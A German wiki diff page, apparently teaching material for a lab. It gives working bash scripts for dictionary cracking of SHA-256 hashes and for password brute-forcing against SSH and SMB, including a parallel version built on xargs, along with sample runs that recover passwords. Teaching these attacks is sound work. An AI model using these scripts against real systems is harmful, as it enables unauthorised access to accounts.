Passwort Angriffe Prinzip: Unterschied zwischen den Versionen
| (13 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
= | =Offline gegen Hash= | ||
Offline-Angriff gegen einen einzelnen Hash. Jedes Wort der Liste wird zur Laufzeit gehasht und mit dem Ziel-Hash verglichen - langsam, da pro Versuch ein sha256sum läuft. | |||
*wget https://xinux.de/downloads/bad-passwords | *wget https://xinux.de/downloads/bad-passwords | ||
*cat pw-crack-offline.sh | *cat pw-crack-offline.sh | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
#!/bin/bash | #!/bin/bash | ||
| Zeile 15: | Zeile 17: | ||
done < $2 | done < $2 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* ./pw-crack-offline.sh | *./pw-crack-offline.sh cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 bad-passwords | ||
Treffer: whatever | Treffer: whatever | ||
=Hash Tabelle= | =Hash-Tabelle= | ||
Die Hashes liegen vorberechnet als Tabelle vor (Format passwort:hash). Der Angriff vergleicht nur noch und spart sich das Hashen pro Durchlauf - schneller, dafür muss die Tabelle vorher erzeugt werden. | |||
*wget https://xinux.de/downloads/bad-passwords.hash | *wget https://xinux.de/downloads/bad-passwords.hash | ||
*cat pw-crack-offline-hash.sh | *cat pw-crack-offline-hash.sh | ||
| Zeile 26: | Zeile 30: | ||
while read LINE | while read LINE | ||
do | do | ||
PW_HS=$(echo $LINE | PW_HS=$(echo $LINE | cut -f 2 -d :) | ||
if [[ $PW_HS == $HASH ]] | if [[ $PW_HS == $HASH ]] | ||
then | then | ||
PW=$(echo $LINE | cut -f 1 -d :) | |||
echo "Treffer: $PW" | |||
exit | exit | ||
fi | |||
fi | |||
done < $2 | done < $2 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
*./pw-crack-offline-hash.sh | *./pw-crack-offline-hash.sh ba22bae4d286f37a07e800585b8acba09add0e2a370c6ea5b2b354f859d8c12d bad-passwords.hash | ||
Treffer: lovely | Treffer: lovely | ||
= | |||
=SSH-Hack= | |||
Online-Angriff: kein Hash, sondern es wird live gegen den Dienst angemeldet. Jeder Versuch erzeugt Netzwerkverkehr und taucht im Log auf — laut und langsam. | |||
*sudo apt install sshpass | |||
*cat ssh-pass-hack.sh | *cat ssh-pass-hack.sh | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Zeile 47: | Zeile 55: | ||
while read PW | while read PW | ||
do | do | ||
if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "USER@ | if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" "exit" 2>/dev/null | ||
then | |||
echo "Treffer: $USER:$PW" | |||
Treffer:PW" | exit | ||
fi | |||
fi | done < "$WORTLISTE" | ||
</syntaxhighlight> | |||
*./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords | |||
Treffer: martha:basketball | |||
=SMB-Hack= | |||
Wie der SSH-Hack, nur gegen den SMB-Dienst. Gleiche Logik, anderer Dienst. | |||
*cat smb-pass-hack.sh | |||
<syntaxhighlight lang="bash"> | |||
#!/bin/bash | |||
# einfaches SMB-PW-Brute wie hydra (Lab) | |||
HOST=$1 | |||
USER=$2 | |||
WORTLISTE=$3 | |||
while read PW | |||
do | |||
if smbclient -L "$HOST" -U "$USER%$PW" -m SMB3 2>/dev/null >/dev/null | |||
then | |||
echo "Treffer: $USER:$PW" | |||
exit | |||
fi | |||
done < "$WORTLISTE" | done < "$WORTLISTE" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
*./smb-pass-hack.sh 192.168.16.213 martha bad-passwords | |||
Treffer: martha:basketball | |||
=Multithread Methode= | |||
Statt die Wortliste seriell abzuarbeiten, werden mit xargs -P mehrere Anmeldeversuche parallel gestartet - deutlich schneller. Die eigentliche Anmeldung steckt in einer Funktion, die exportiert und von xargs pro Passwort aufgerufen wird. Achtung: zu viele Threads können beim Ziel einen Account-Lockout auslösen. | |||
*cat ssh-pass-hack-mt.sh | |||
<syntaxhighlight lang="bash"> | |||
#!/bin/bash | |||
HOST="$1" | |||
USER="$2" | |||
WORTLISTE="$3" | |||
THREADS=16 # Anzahl paralleler Jobs | |||
try_pw() { | |||
PW="$1" | |||
if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" exit >/dev/null 2>&1 | |||
then | |||
echo "Treffer: $USER:$PW" | |||
fi | |||
} | |||
export -f try_pw | |||
export HOST USER | |||
cat "$WORTLISTE" | xargs -P $THREADS -I{} bash -c 'try_pw "$@"' _ {} | |||
</syntaxhighlight> | |||
*./ssh-pass-hack-mt.sh 192.168.16.213 martha bad-passwords | |||
Treffer: martha:basketball | |||
Aktuelle Version vom 25. Juni 2026, 06:19 Uhr
Offline gegen Hash
Offline-Angriff gegen einen einzelnen Hash. Jedes Wort der Liste wird zur Laufzeit gehasht und mit dem Ziel-Hash verglichen - langsam, da pro Versuch ein sha256sum läuft.
- wget https://xinux.de/downloads/bad-passwords
- cat pw-crack-offline.sh
#!/bin/bash
HASH=$1
while read LINE
do
PW_HS=$(echo $LINE | sha256sum | cut -f 1 -d " ")
if [[ $PW_HS == $HASH ]]
then
echo "Treffer: $LINE"
exit
fi
done < $2
- ./pw-crack-offline.sh cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 bad-passwords
Treffer: whatever
Hash-Tabelle
Die Hashes liegen vorberechnet als Tabelle vor (Format passwort:hash). Der Angriff vergleicht nur noch und spart sich das Hashen pro Durchlauf - schneller, dafür muss die Tabelle vorher erzeugt werden.
- wget https://xinux.de/downloads/bad-passwords.hash
- cat pw-crack-offline-hash.sh
#!/bin/bash
HASH=$1
while read LINE
do
PW_HS=$(echo $LINE | cut -f 2 -d :)
if [[ $PW_HS == $HASH ]]
then
PW=$(echo $LINE | cut -f 1 -d :)
echo "Treffer: $PW"
exit
fi
done < $2
- ./pw-crack-offline-hash.sh ba22bae4d286f37a07e800585b8acba09add0e2a370c6ea5b2b354f859d8c12d bad-passwords.hash
Treffer: lovely
SSH-Hack
Online-Angriff: kein Hash, sondern es wird live gegen den Dienst angemeldet. Jeder Versuch erzeugt Netzwerkverkehr und taucht im Log auf — laut und langsam.
- sudo apt install sshpass
- cat ssh-pass-hack.sh
#!/bin/bash
# einfaches SSH-PW-Brute wie hydra (Lab)
HOST=$1
USER=$2
WORTLISTE=$3
while read PW
do
if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" "exit" 2>/dev/null
then
echo "Treffer: $USER:$PW"
exit
fi
done < "$WORTLISTE"
- ./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball
SMB-Hack
Wie der SSH-Hack, nur gegen den SMB-Dienst. Gleiche Logik, anderer Dienst.
- cat smb-pass-hack.sh
#!/bin/bash
# einfaches SMB-PW-Brute wie hydra (Lab)
HOST=$1
USER=$2
WORTLISTE=$3
while read PW
do
if smbclient -L "$HOST" -U "$USER%$PW" -m SMB3 2>/dev/null >/dev/null
then
echo "Treffer: $USER:$PW"
exit
fi
done < "$WORTLISTE"
- ./smb-pass-hack.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball
Multithread Methode
Statt die Wortliste seriell abzuarbeiten, werden mit xargs -P mehrere Anmeldeversuche parallel gestartet - deutlich schneller. Die eigentliche Anmeldung steckt in einer Funktion, die exportiert und von xargs pro Passwort aufgerufen wird. Achtung: zu viele Threads können beim Ziel einen Account-Lockout auslösen.
- cat ssh-pass-hack-mt.sh
#!/bin/bash
HOST="$1"
USER="$2"
WORTLISTE="$3"
THREADS=16 # Anzahl paralleler Jobs
try_pw() {
PW="$1"
if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" exit >/dev/null 2>&1
then
echo "Treffer: $USER:$PW"
fi
}
export -f try_pw
export HOST USER
cat "$WORTLISTE" | xargs -P $THREADS -I{} bash -c 'try_pw "$@"' _ {}
- ./ssh-pass-hack-mt.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball